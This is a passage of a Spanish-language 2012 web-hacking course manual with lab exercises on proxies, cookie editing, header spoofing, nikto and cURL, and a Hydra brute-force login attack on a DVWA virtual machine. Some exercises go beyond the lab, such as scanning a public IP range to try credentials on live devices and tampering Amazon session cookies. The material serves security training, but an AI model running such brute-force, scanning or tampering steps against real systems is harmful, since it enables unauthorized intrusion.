You are on page 1of 15

Curso de Hacking Aplicaciones Web 2012 (CNHAW)

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

Bienvenido al Curso de Hacking Aplicaciones Web - CNHAW DVDs


Se le ha hecho entrega de dos (2) DVDs con el material del curso. Estos DVDs han sido verificados manualmente, para evitar errores de lectura. En caso se presente algn inconveniente, por favor comunicarlo al Instructor del curso.

Configuraciones previas
A. Proceda a ubicar en su computadora la particin o disco duro con ms espacio libre disponible. Luego cree en lla una carpeta de nombre HackingWeb. B. Proceda a realizar la Instalacin por defecto de VMware Player y 7Zip, cuyos instaladores se ubican en la carpeta de nombre Apps en el DVD 1. C. Proceda a descomprimir con 7zip el archivo ubicado en el DVD 1 de nombre Samurai/Samurai099.7z, en la carpeta de nombre HackingWeb. Luego proceda a configurarlo con VMWare Player. D. Proceda a descomprimir con 7zip el archivo ubicado en el DVD 1 el archivo de nombre Metasploitable/Metasploitable.zip, en la carpeta de nombre HackingWeb. Luego proceda a configurarlo con VMWare Player. E. Proceda a descomprimir con 7zip el archivo ubicado en el DVD 1 el archivo de nombre Windows_HAW/WindowsHAW.zip, en la carpeta de nombre HackingWeb. Luego proceda a configurarlo con VMWare Player. F. Proceda a configurar con VMWare Player la imagen ISO ubicado en el DVD 2 de nombre DVWA-1.0.7.iso. G. Al configurar las Mquinas Virtuales con VmWare Player asegrese que la configuracin de la tarjeta o interfaz de red est definida en modo Bridged. Verifique tambin que todas las Mquinas Virtuales estn configuradas con las direcciones IP internas del laboratorio. Y Compruebe la conectividad entre sus Mquinas Virtuales y Mquina Real.

Anotaciones:
1. Los datos de autenticacin para la Mquina Virtual de Samurai son: Username: samurai Password: samurai 2. En caso se requiera configurar la red de manera manual dentro de GNU/Linux, se puede utilizar los siguientes comandos en modo consola: # ifconfig eth0 192.168.0.X (Donde eth0 define a la primera interfaz de red en GNU/Linux. Y el valor de X corresponde a un nmero entre 2 y 254. 3. Para definir el gateway se debe utilizar el siguiente comando en modo consola: # route add default gw 192.168.0.1 (Donde la pasarela se define con la direccin IP indicada)
NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

Ejercicios Parte 1
1.1 Ingrese a la pgina Web de su preferencia y dentro de Samurai proceda a visualizar la Fuente de una pgina HTML, con Firefox (View -> Page Source). Adems puede utilizar la combinacin [Ctrl+F] para buscar en la pgina. Tambin proceda a realizar la misma accin utilizando Internet Explorer en su mquina Windows real. 1.2 Proceda a visualizar la Fuente de una pgina HTML con View Source Chart en Firefox (Click Derecho -> View Source Chart), tambin puede hacer (View -> View Source Chart) . Utilice la combinacin [Ctrl+F] para buscar en la pgina. 1.3 Active FireBug, haciendo clic derecho en el bicho de color gris, ubicado en la parte inferior derecha del navegador, definiendo la opcin Enable All Panels. Ahora proceda a hacer clic nuevamente en el bicho y se mostrar el panel, haga clic en (All -> Net) con lo cual visualizar las interacciones realizadas con la pgina web objetivo. Haciendo clic en el signo + se puede visualizar las cabeceras exactas de cada una de las peticiones. 1.4 Observando los Campos Ocultos con WebScarab. Proceda a ejecutar WebScarab (Applications -> Recon & Mapping -> WebScarab); este se ejecutar a la escucha (atendiendo las peticiones) en el puerto 8008. Una vez en funcionamiento, utilice con firefox el addon FoxyProxy Standard para indicarle a Firefox que utilice a WebScarab como Proxy. (Haga clic en la parte inferior derecha del navegador con letras rojas Foxy Proxy: Disabled, luego seleccione Use Proxy Webscarab Local for all URLs). Para visualizar los campos ocultos en el navegador; los cuales son parmetros que los programadores no esperan que sean modificados, en Webscarab haga clic en (Proxy -> Miscellaneus. Y active la opcin Reveal hidden fields in HTML Pages). Estos campos son buenos candidatos para las pruebas de seguridad. Al terminar de utilizar Webscarab, recuerde deshabilitar el uso del Proxy, con Foxy Proxy. 1.5 Observando el Envo de Datos con TamperData. Dentro de Firefox ingrese a TamperData (Tools -> Tamper Data) y proceda a ejecutarlo haciendo clic en Start Tamper, luego visite una pgina web objetivo. Cada interceptacin que realice Tamper Data, este presentar un cuadro de dilogo con las opciones (Submit para enviar los datos , Abort Request para abortar la peticin y Tamper para manipular los datos interceptados). Con el botn Tamper proceda a visualizar las cabeceras de peticin y las cabeceras de respuesta. Analice los datos que en ellas se pueden encontrar y manipular. Para detener Tamper Data haga clic en Stop Tamper 1.6 Visualizando Comentarios y Scripts. Proceda a ejecutar WebScarab (Applications -> Recon & Mapping -> WebScarab). Ahora dentro de firefox configrelo con FoxyProxy. A continuacin visite una pgina web objetivo, y en la seccin Summary de WebScarab, visualizar dos columnas de nombres Comments y Scripts en el lado derecho, en las cuales se informar con un check aquellas pginas que contengan Comentarios o Scripts en ellas. 1.7 Detectando eventos JavaScript. Navegue por una pgina web objetivo y proceda a ejecutar View Source Chart en Firefox (View -> View Source Chart). Proceda a verificar si la fuente de la pgina contiene algn tipo de comentarios o algunos eventos populares en JavaScript. 1.8 Modificando atributos de elementos especficos. Proceda a ejecutar Firebug; luego con Firefox navegue por una pgina web objetivo; en la opcin HTML de Firebug visualizar la fuente HTML de la pgina objetivo de una manera estructurada. Proceda a cambiar un valor, como por ejemplo los valores de algunas etiquetas o simplemente alguna lnea de texto. Al realizar esta modificacin, visualizar automticamente los cambios en Firefox.

NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

1.9 Reconociendo las representaciones de datos binarios. Se puede utilizar tambin la Herramienta EnDe de OWASP. Para ejecutar EnDe dentro de Firefox ir a (Bookmarks -> EnDe (1.0rc9)). Para los siguiente ejercicios proceda a abrir una Terminal en Samurai (Applications -> Terminal): - Convertir el nmero decimal 10 a base16: $ echo obase=16; 10 | bc - Ahora intente usted convertir otro nmero a base8 o base2. - Convertir el nmero hexadecimal FF a base10 o decimal: $ echo ibase=16; FF | bc - Codificar el contenido de un archivo a Hexadecimal: $ cat archivo.txt | xxd -c 256 -ps > archivo.hex - Decodificar una cadena (en modo consola): $ echo 'TlBST1MgUGVy+g==' | openssl base64 -d - Codificar el contenido de un archivo a base64: $ openssl enc -base64 -in archivo.txt -out archivo.b64 Para visualizar el contenido del archivo codificado: $ cat archivo.b64 - Codificar una cadena (en modo consola): $ echo -n '&a=1&b=2&c=3' | openssl base64 -e -n previene que echo aada una nueva lnea al final de la cadena. Hay que tener cuidado cuando se inserta datos binarios o datos en bruto en un archivo y utilizar la opcin -in para codificar el archivo. Generalmente los editores ponen una nueva lnea al final de la ltima lnea en un archivo. 1.10 Ejecute firefox y luego cargue la herramienta EnDe. Ahora proceda a realizar las siguientes operaciones: - Codificar en base64 la cadena npros (sin comillas) Encoding -> Base-N -> Base64 - Codificar en Hex la cadena http://www.npros.com.pe (sin comillas) Encoding -> URI/URL -> Hex (%XX) - Codificar en URL UTF-8 de datos la cadena <script> (sin comillas) Encoding -> URI/URL -> Url UTF-8 (%XX) 1.11 Calculando Hashs. Ejecute un Terminal (Applications -> Accessories -> Terminal) en Samurai, y ejecute los siguiente comandos: Utilizando OpenSSL $ echo -n npros | openssl md5 $ echo -n npros | openssl sha1 Utilizando md5sum o sha1sum $ echo -n npros | sha1sum $ echo -n npros | md5sum 1.12 Formato de Tiempo. Ejecute Firefox y luego ingrese a EnDe, en la seccin Timestamp se puede realizar algunas conversaciones con el formato de tiempo. Timestamp -> Ingresar en Date | Time por los siguiente valores: Year: 1998 Month: 4 Day: 14 | Hour: 22 Min: 19 Sec: 26 Luego hacer clic en el botn azul con el signo >. Los resultados se mostrarn en el campo de Timestamp en el lado izquierdo. Por defecto ser tiempo en Unix.

NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

1.13 Decodificando ViewState de ASP.NET. En su mquina Windows real, ejecute ViewState Decoder, cuyo instalador se ubica en /Apps/ViewStateDecoder2.0.exe del DVD 1. En la fuente HTML de una pgina web objetivo proceda a buscar la cadena __VIEWSTATE (sin comillas), copie el contenido de una cadena VIEWSTATE en el campo ViewState string: dentro del programa ViewState Decoder y luego haga clic en el botn Decode->. Ahora proceda a analizar los resultados mostrados en el campo Viewstate ubicados en el lado derecho. 1.14 Interceptando peticiones POST. Ejecute WebScarab y defnalo como proxy en Firefox, utilizando FoxyProxy. Dentro de WebScarab active la opcin (Proxy -> Manual Edit -> Intercept request). Esto consultar cada vez que se realice una nueva peticin a una pgina. Ejecute en otro mquina Virtual (DVWA). Utilice Firefox para ingresar a la direccin IP de DVWA. Cada Peticin Interceptada mostrar una nueva ventana Edit Request, aqu se puede insertar, modificar o borrar los contenidos de la peticin, simplemente haciendo doble clic en cualquiera de ellas. Asigne el valor password (sin comillas) a la variable password. Y luego haga clic en el botn Accept Changes. Adicionalmente se puede editar la peticin en bruto mediante la pestaa Raw. Esto facilita copiar y pegar toda la peticin, de esta manera se puede repetir posteriormente la misma prueba. 1.15 Evadiendo limites en la entrada. Proceda a abrir un Terminal y a visualizar el archivo valor1.txt con el siguiente comando: # cat valor1.txt Esto mostrar una cadena que tiene una longitud mayor de 1024 caracteres. En Firefox ingrese a una pgina que enve parmetros y valores a una aplicacin, como por ejemplo la aplicacin mostrada en el ejercicio 1.14 (DVWA). Proceda a pegar en uno de los parmetros username o password, el contenido del archivo valor1.txt, y enviar esto a la aplicacin web. Luego proceda a analizar los resultados obtenidos con esta prueba. 1.16 Manipulacin automtica de URLs. Busque una pgina en internet, por ejemplo, un portal que publique notas, noticias, anuncios, y proceda a generar un listado automtico de URLs. Ingrese a Firefox y entre a la pgina web objetivo. Una vez all, haga clic en (Bookmarks - Make numbered list of links). Automticamente se abrir una nueva pgina donde es factible colocar un rango de valores para los parmetros de la URL. Inserte a modo de ejemplo un rango del 1 al 20. Ejemplo: Run X from [1] to [20]. En el mismo instante de escribir el valor final, se mostrar el listado de enlaces creados. 1.17 Manipulacin en la longitud de la URL. Proceda a encontrar un sitio web que contenga un id, tal y como se describe en el ejercicio 1.16, por ejemplo: http://www.pagina.com/index.php?id=23 Abra un editor de texto (Applications -> Accessories -> Text Editor), ahora proceda a crear unas 10 o 20 veces la siguiente cadena: id=23&id=24&id=25... etc. Luego del o cual generar una cadena para realizar la evaluacin. Seleccione y copie esta cadena y proceda a pegarla en la barra de direcciones de Firefox de tal manera que la URL quede de la siguiente manera: http://www.pagina.com/index.php?id=23&id=24&id=25

NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

Ejercicios Parte 2
2.1 Editando una Cookie. Utilizando Firefox proceda a autenticarse en DVWA. Luego ejecute Cookie Editor (Tools -> Cookie Editor), filtre los resultados en base a la direccin IP de DVWA, ingrese la direccin IP en la parte superior y haga clic en el botn (Filter/Refresh) ubicado en la parte superior derecha. Se mostrarn dos Cookies, seleccione la Cookie de nombre security, luego haga clic en el botn Edit ubicado en la parte inferior de la ventana, y modifique el valor de Content de High a Low. Proceda a guardar la Cookie haciendo clic en el botn Save, luego haga clic en el botn Close. Finalmente vaya a DVWA y recargue la pgina. Note ahora que el nivel de seguridad Security Level ubicado en la parte inferior izquierda, es low, todo esto simplemente editando la Cookie de manera manual. 2.2 Falsificando informacin de las cabeceras. Ingrese a la siguiente pgina del Firefox: http://www.hashemian.com/whoami/ Analice la informacin de las cabeceras mostrada por esta pgina. Ahora proceda a activar TamperData (Tools -> TamperData). Inicie Tamper Data, haciendo clic en Start Tamper, y recarge la pgina en Firefox, ante la primera solicitud de interceptacin y manipulacin haga clic en el botn Tamper. Se presentar una nueva ventana conteniendo los valores de las cabeceras del cliente. Haga clic derecho en User-Agent -> User-Agent, seleccione y haga clic alguno de los Agentes de Usuario mostrados. Ahora haga clic en el botn Ok, ubicado en la parte inferior derecha de la ventana y proceda a hacer clic en el botn Stop Tamper, para evitar que se sigan mostrando ms ventanas solicitando la interceptacin y manipulacin de datos. Como podr visualizar los nuevos datos del Agente de Usuario (User-Agent) del Firefox han sido modificados. 2.3 Evadiendo restricciones de la Interfaz de Usuario. Ejecute Firefox e ingrese a la pgina de autenticacin de DVWA, proceda a ejecutar FireBug (Click Derecho en el bicho ubicado en la parte inferior derecha del navegador -> Open Firebug in New Window). Busque el formulario de autenticacin, y proceda a aadir la propiedad disabled="disabled" en el ingreso del nombre de usuario <input class=loginInput>, puede hacer clic derecho sobre esta etiqueta y seleccionar Edit HTML para ingresar el valor indicado. Ahora vaya nuevamente a la pgina de autenticacin de DVWA, verificar que se ha desactivado la posibilidad de ingresar el Username, solo se permite hacerlo en el campo Password. 2.4 Spidering un sitio web con WebScarab. Desactive la interceptacin de peticiones (Proxy -> Manual Edit -> Intercept request) en WebScarab, luego proceda a ejecutar Firefox y configure a FoxyProxy para que utilice WebScarab como proxy. Ahora proceda a configurar WebScarab para Obtener Cookies de las Respuesta e Inyectar Cookies Conocidas. Proxy -> Miscellaneous -> Activar Inject known cookies into request y Get cookies from responses. Ingrese a la pgina de autenticacin de DVWA a la cual se realizar el proceso de spidering. Ahora entre a la pestaa Spider y seleccione la direccin IP de DVWA, luego haga clic en el botn Fetch Tree y luego en Fetch Selection, ubicados en la parte inferior, terminado el proceso visualizar todos los resutlados que DVWA ha obtenido. Finalmente proceda a autenticarse en DVWA y repita el proceso de Spidering. Existen diferencias entre los dos procesos, y de haberlos cuales son estos?. Este tipo de spidering solo trabaja en la llamadas aplicaciones web 1.0. Si el sitio web utiliza Ajax, JavaScript, HTML dinmico, y otros elementos dinmicos como Flash, WebScarab y los spiders tradicionales tendrn un mal momento siguiendo estos enlaces. Con WebScarab se puede guardar los resultados con la informacin de todo el proceso realizado. Por ejemplo se puede analizar manualmente el archivo conversationlog en busca de URLs importantes, pero primero se tiene que guardar esta informacin (File -> Save) y luego seleccionar
NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

la carpeta destino donde residir todo, por ejemplo /home/samurai/dvwa. Utilice los siguientes comandos Linux o una hoja de calculo para ordenar, reducir, simplificar y analizar las URLs obtenidas. Proceda a abrir un Terminal y ejecute los siguiente comandos: - Ingresar a la carpeta creada y listar todo su contenido: $ cd dvwa ; ls -l - Para eliminar algunos tipos de contenido esttico: $ egrep '^URL: ' conversationlog | egrep -v '\.(css|jpg|gif|png|txt) - Para eliminar URLs duplicadas, se tiene primero que redireccionar la salida del anterior comando a un archivo de nombre URLs: $ egrep '^URL: ' conversationlog | egrep -v '\.(css|jpg|gif|png|txt) > URLs -El comando para eliminar URLs duplicadas es el siguiente: $ cut -d " " -f 2 URLs | cut -d '?' -f 1 | sort | uniq > SoloURLs Proceda a dar una breve revisin a los archivos cookies, y urlinfo con el comando. Qu informacin cree usted que se almacenan en esos archivos.?. $ more cookies $ more urlinfo 2.5 Rplica de un sitio web con LWP & wget. Proceda a ejecutar un Terminal, se utilizar la direccin IP de DVWA. Ahora proceda a ejecutar lo siguiente: Proceda a crear una carpeta para guardar toda la pgina con el siguiente comando: $ mkdir webdvwa Ahora ingrese a esta carpeta creada con el siguiente comando: $ cd webdvwa Descargando con LWP: $ lwp-rget --hier http://www.pagina.com El parmetro --hier, permite descargar una pgina en jerarqua. Descargando con wget: Permite un mayor control sobre aquello que se desea obtener. El parmetro -R rechaza una lista de extensiones especficas: $ wget -r -R '*.gif,*.jpg,*.png,*.css,*.js' http://www.pagina.com El parmetro -A acepta una lista de extensiones especficas: $ wget -r -A '*.html,*.htm,*.php,*.asp,*.aspx,*.do,*.jsp' http://www.pagina.com Descargar todas las imagenes, etc, necesarias para mostrar la pgina HTML $ wget -p http://www.pagina.com 2.6 Escaneando un sitio web con nikto: Proceda a ejecutar Nikto2 dentro de Samurai (Applications -> Samurai -> Recon & Mapping -> Nikto); la direccin IP objetivo ser la de la mquina virtual con DVWA. Proceda a ejecutar los siguientes comandos: Actualizando Nikto $ ./nikto.pl -update Realizando un Escaneo Simple $ ./nikto.pl -h 192.168.0.1 -p 80 Afinando el Escaneo (1 = Desconfiguraciones y Archivos por defecto) $ ./nikto -h 192.168.0.1 -p 80 -T 1 Escaneo a un sitio utilizando HTTPS $ ./nikto.pl -output host.html -ssl -Format HTM -host ww.pagina.com -port 443 Ayuda $ ./nikto -help Nikto con Autenticacin . Nikto soporta Autenticacin Bsica HTTP y NTLM. No autenticacin digest. - Basic HTTP
NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

$ ./nikto.pl -output host.html -Format HTM -host www.pagina.com -port 80 -id testuser:testpw123 - Autenticacin NTLM (Dominio Directorio Activo) $ ./nikto.pl -output host.html -Format HTM -host www.pagina.com -port 80 -id testuser:testpw123:testdomain Ejecutando Nikto con una ruta especfica para el escaneo: $ ./nikto.pl -output myhost.html -Format HTM -host www.pagina.com -port 80 -root / Usando Nikto con una Cookie de sesin especfica $ ./nikto.pl -output myhost.html -C all -Format HTM -host www.pagina.com -port 80 -root /webapp/pagina.aspx -config cookie.txt El contenido de static.txt debera tener (como mnimo) STATICCOOKIE=PHPSESSID=1585007b4ef2c61591e3f7dc10eb8133 2.7 Automatizando tareas con cURL. Inicie un Terminal y proceda a ejecutar los siguientes comandos: - Buscar una Pgina con cURL Mostrando la ayuda de cURL: $ curl --help Invocacin Simple: $ curl -v -o pagina.html http://www.pagina.com/ Capturando una pgina web segura $ curl -k -o pagina-segura.html https://www.pagina.com/ Capturando un archivo mediante ftp $ curl -O ftp://ftp.servidor.com/pub/download/file.zip - Buscando variaciones de una URL - Buscando todas las categoras desde 00 hasta 99 $ curl -o 'categoria-#1#2.html' 'http://www.pagina.com/categoria.php?CATID=[0-9][0-9]' $ curl -o 'categoria-#1.html' 'http://www.pagina.com/categoria.php?CATID=[0-99]' Ir en busca de pginas y almacenarlos en archivos con nombres adecuados. $ curl -o '#1.html' 'http://www.pagina.com/{news,blog,careers,contact,sitemap}/' Realizando todas las posibles combinaciones a la vez $curl -o '#1-#2-#3-#4.html' "http://www.pagina.com/cgi-bin/item.cgi?prod=[0001-9999]&cat=[09]&color={red,yellow,blue,green}&size={s,m,l,xl}" - Siguiendo las redirecciones automticamente (Utilice para este ejercicio DVWA) $ curl -v -L -e ;auto -o salida.html http://192.168.0.6 -L le indica a cURL seguir la respuesta de redireccin. -e ';auto' hace que CURL automticamente define la URL previa cuando este sigue a la cabecera Location:. - Suplantando a un tipo de navegador o dispositivo especfico: Suplantando a un Internet Explorer en Windows Vista $ curl -o MSIE.html -A 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)' http://www.hashemian.com/whoami/ Suplantando a un Firefox 2.0.0.15 en MacOS X $ curl -o FFMac.html -A 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.15' http://www.hashemian.com/whoami/ Al finalizar ambos ejercicios proceda a revisar los archivos creados MSIE.html y FFMac.html donde encontrar la informacin falsa enviada por cURL y que ha sido reconocida como verdadera por el servidor objetivo. Tambin puede visualizar estos archivos con Firefox. Listado de Agentes de Usuario: http://www.user-agents.org

NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

- Suplantando interactivamente a otro dispositivo. Se utilizar Default User Agent En Firefox seleccione (Tools -> Default User Agent), luego proceda a seleccionar uno de los Agentes, por ejemplo Opera 9.25 (Windows Vista). Ahora proceda a verificar que los datos del Agente de Usuario han sido modificados, visitando la siguiente pgina: http://chrispederick.com/work/useragent-switcher/features/test Al finalizar el Ejercicio nuevamente define el Default user Agent por Defecto. - Imitando un motor de bsqueda con cURL Capturando una pgina suplantando a Google $ curl -o curlgoogle.html -A \ 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' \ http://www.pagina.com/ - Falsificando un flujo de trabajo forzando las cabeceras Referer Capturando una pgina de login (Utilizar DVWA) $ curl -o login.php http://192.168.0.6/login.php Capturando la pgina reporte.php, teniendo como referencia la pgina login.php $ curl -o reporte.php -e http://www.pagina.com/login.php http://www.pagina.com/reporte.php - Buscar solo las cabeceras HTTP. El parmetro -I mostrar solo la informacin del documento. El mismo resultado que se obtendra si el cliente enva un HEAD / HTTP/1.0 $ curl -I http://p.ebaystatic.com/aw/pics/logos/logoEbay_x45.gif $ curl -I http://www.mastercard.com/ $ curl -I http://www.youtube.com $ curl -I http://www.yahoo.com $ curl -I http://www.live.com - Haciendo POST con cURL. Si se tiene el siguiente formulario de autenticacin: <form action="login.php" method="post"> <fieldset> <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br /> <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br /> <p class="submit"><input type="submit" value="Login" name="Login"></p> </fieldset> </form> Para autenticarse con cURL se ejecutara el siguiente comando: $ curl -o resultado.html -d "username=admin" -d "password=password" -d "Login=Login" http://192.168.0.6/login.php cURL no codifica los datos, se necesita hacer Base64 o codificacin URL. $ curl -o salida.html -d "userid=juan" -d "passwd=12345" -d "submit=Login" -d @estado.txt http://www.ejemplo.com/servlet/login.do El archivo estado.txt contiene: Qform__FormState=eNrtWF1z6jYQzU_JeOa9KENOOTDPAFJWloCSSA3j3dkW4B - Manteniendo el Estado de Sesin Buscando una pgina de login (Utilizar DVWA) $ curl -b cookie1.txt -c cookie1.txt http://192.168.0.6/login.php Enviar la peticin de login, actualizando el archivo cookies.txt $ curl -b cookie1.txt -c cookie1.txt -d username=admin&password=password&Login=Login http://192.168.0.6/login.php
NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

Ahora ingresamos a una pgina interna que requiere autenticacin previa $ curl -b cookie1.txt -c cookie1.txt http://192.168.1.35/vulnerabilities/exec -b indica desde donde leer la cookie al iniciar la sesin. -c indica a donde escribir la cookie recibida durante la sesin. - Manipulando Cookies Primero es necesario descargar la cookie de Amazon $ curl -c cookie2.txt http://www.amazon.com Ahora se modificar el valor session-id-time con un valor no numrico. $ curl -o resultado -c cookie2.txt -b session-id-time=ABCc http://www.amazon.com Evaluar amazon con un valor negativo para el session-id-time. $ curl -o resultado -c cookie2.txt -b session-id-time=-10 http://www.amazon.com - Subiendo un archivo con cURL Subiendo un archivo con formato JPG mediante POST $ curl -F file='foto.jpg' -F submit=submit http://www.pagina.com/upload.asp Proporcionando la informacin del tipo de archivo con POST $ curl -F file='foto.jpg;filetype=image/jpeg' -F submit=submit http://www.pagina.com/upload.asp 2.8 Encontrado Identificadores de sesin en las Cookies. Ejecute Firefox y luego Tamper Data. Proceda a hacer clic en Star Tamper e ingrese a DVWA, ante la primera peticin interceptada se presentar una nueva ventana que permite realizar ciertas acciones, haga clic en el botn Tamper, luego de lo cual se mostrar otra ventana conteniendo toda la informacin interceptada Si todo es correcto visualizar un PHPSESSID. 2.9 Encontrando Identificadores de sesin en Peticiones. Con Firefox proceda a visitar http://es.wikipedia.org, busque un artculo editable; como por ejemplo el de Pedro Suarez-Vertiz, haga clic en Editar y proceda a visualizar el cdigo fuente. La informacin la encontrar en los campos que contienen la cadena input type='hidden', para buscaros utilice la combinacin de teclas Ctrl+F. 2.10 Evaluando aleatoriedad de nmeros. BurpSuite tiene la habilidad de recolectar identificadores de pginas web (Ubicadas en la URL, el cuerpo de la pgina o la cookie). Proceda a ejecutar BurpSuite (Applications -> Samurai -> Recon & Mapping -> BurpSuite), ahora utilizando FoxyProxy (Burp local) configurelo como Proxy por defecto en Firefox. Finalizada la configuracin ingrese a DVWA, ante cada peticin interceptada BurpSuite presentar una ventana donde solicitar el Reenvo Forward o el descarte Drop de cada interceptacin, borre la lnea que empieza con Set-Cookie. Ahora haga clic derecho sobre el contenido y se le mostrar un cuadro de opciones, seleccione y haga clic en Send to sequencer. Esta pestaa se resaltar en color rojo, haga clic en esa pestaa verificando que el campo cookie tenga el valor que inicia con PHPSESSID=. La segunda parte consiste en capturar una gran cantidad de tokens. Proceda a hacer clic en el botn Start Capture, ubicado en la parte inferior derecha de BurpSuite, cuando se haya alcanzado un nmero de 5000 peticiones aproximadamente, haga clic en el botn Stop, se presentar una nueva ventana consultando si est seguro de realizar esta accin, a lo cual responder Yes. Para iniciar el anlisis haga clic en el botn Analyse now. Burp Suite proporciona un Resumen de resultados obtenidos mediante la pestaa Summary, as tambin permite la visualizacin detallada de los anlisis realizados. Para obtener mayor informacin sobre el secuenciador y las pruebas que realiza BurpSuite: http://portswigger.net/burp/help/sequencer.html 2.11 Encontrando Cabeceras de Autorizacin. En primera instancia se procede a ubicar un dispositivo de red que solicite este tipo de autenticacin en su puerto 80. Para este propsito se ejecutar nmap para escanear un rango de red pequeo, con el siguiente comando: $ nmap -n -p 80 190.238.26.1/24
NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

Una vez que se han encontrado algunas direcciones IP con el puerto 80 aceptando conexiones, es momento de verificar que soliciten un usuario y contrasea para autenticarse. Proceda a iniciar Firefox con WebScarab; tal y como se ha detallado en los ejercicios anteriores; y visit algunas de las direcciones IP. En la interceptacin de las peticiones se podr visualizar las cabeceras de Autorizacin. Intente autenticarse con un usuario y contrasea cualquiera, para analizar la interaccin con el objetivo. Busque la cadena Authorization: Basic en las interceptaciones. 2.12 Analizando Expiracin de la ID de Sesin. Ingrese con Firefox y proceda a autenticarse a DVWA. Inicie Cookie Editor y filtre en base a la direccin IP para visualizar nicamente estas cookies. Haga doble clic en la Cookie de Nombre (Cookie Name) PHPSESSID, luego de lo cual se presentar una nueva ventana donde en su parte inferior tendr la opcin de manipular la Expiracin de la Cookie, para esto haga seleccione New expiration date: y coloque como fecha, la del da de ayer. Luego regrese a firefox y recargue la pgina de DVWA. Si todo es correcto, se le solicitar nuevamente la autenticarse. 2.13 Analizando Identificadores de Sesin Aleatorios con WebScarab. Ingrese a Firefox y proceda a configurarlo con WebScarab como proxy. Ahora ingrese a DVWA, pero no se autentique. Haga clic en la pestaa SessionID Analysis (Anlisis de ID de Sesin) -> Collection y en Previos Request seleccione la pgina que presenta la pgina login.php. Proceda a borra el Valor del Campo Cookie, y luego haga clic en el botn Test, ubicado en la parte inferior de la ventana. Si se ha realizado correctamente, se presentar una nueva ventana con el mensaje Extracted Sessionsids, luego haga clic en el botn Ok. Luego en el campo Samples ubicado tambin en la parte inferior colocar 500 y luego dar clic en el botn Fetch. Ahora vaya a la pestaa Analysis y seleccione el Identificador de Sesin (Session Identifier) con el valor PHPSESSID, luego de lo cual se mostrarn todas las peticiones que se estn o han realizado. Para ver los resultados ahora haga clic en la pestaa Visualizacin (Visualisation), donde se visualizarn de manera grfica.

NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

Ejercicios Parte 3
3.1 Proceda a crear una mquina virtual con el Nombre DVWA en VMware Player, utilizando la imagen ISO de nombre DVWA-1.0.7.iso ubicado en el DVD 2. Verifique que la conexin de red est configurada como bridged, la memoria RAM sea de 256 Megas e inicie la mquina virtual. Para obtener la direccin IP puede utilizar el comando ifconfig. 3.2 Inicie Firefox dentro de la mquina virtual de Samurai, y entre a la siguiente direccin: http://192.168.0.6/ (Donde 192.168.0.6 es la direccin IP de la mquina virtual de DVWA obtenida con el comando ifconfig). Ingrese el usuario y contrasea por defecto admin / password y haga clic en el botn Login. 3.3 DVWA tiene tres niveles de seguridad por Defecto. Proceda a hacer clic en el botn DVWA Security ubicado en la parte inferior izquierda y defina el nivel se seguridad a Bajo Low, luego haga clic en Submit. Ahora haga clic en el botn Home del men izquierdo para regresar a la pgina principal. 3.4 Ataque por Fuerza Bruta: Ingrese a la pgina de autenticacin de DVWA. Para realizar este ataque por fuerza bruta se utilizara THC-Hydra. Proceda a visualizar la fuente HTML de este formulario de autenticacin: <form action="login.php" method="post"> <fieldset> <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br /> <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br /> <p class="submit"><input type="submit" value="Login" name="Login"></p> </fieldset> </form> Inicie un Terminal y ejecute el siguiente comando: $ hydra -l admin -P wordlists/lower 192.168.0.6 http-post-form /login.php:username=^USER^&password=^PASS^&Login=login:Login failed -t 1 -w 10s -V La direccin IP debe ser cambiada por la direccin IP de DVWA. El parmetro -l define el nombre del usuario con el cual se realizar el ataque, en este caso admin. El parmetro -P leer todas las palabras desde el archivo ubicado en wordlists/lower e probar todas estas palabras en el campo Password del formulario, hasta encontrar alguna coincidencia. Para obtener ms listas de palabras puede obtenerlas de la siguiente pgina: http://download.openwall.net/pub/wordlists/ 3.5 Ejecucin de Comandos (Command Execution). Proceda a autenticarse en DVWA, y haga clic en el botn Command Execution, ubicando en el men izquierda. Tenga en consideracin que el nivel de seguridad debe estar definida como Baja, tal como se detalla en el ejercicio 3.3. Ahora proceda a ingresar una direccin IP interna del laboratorio o 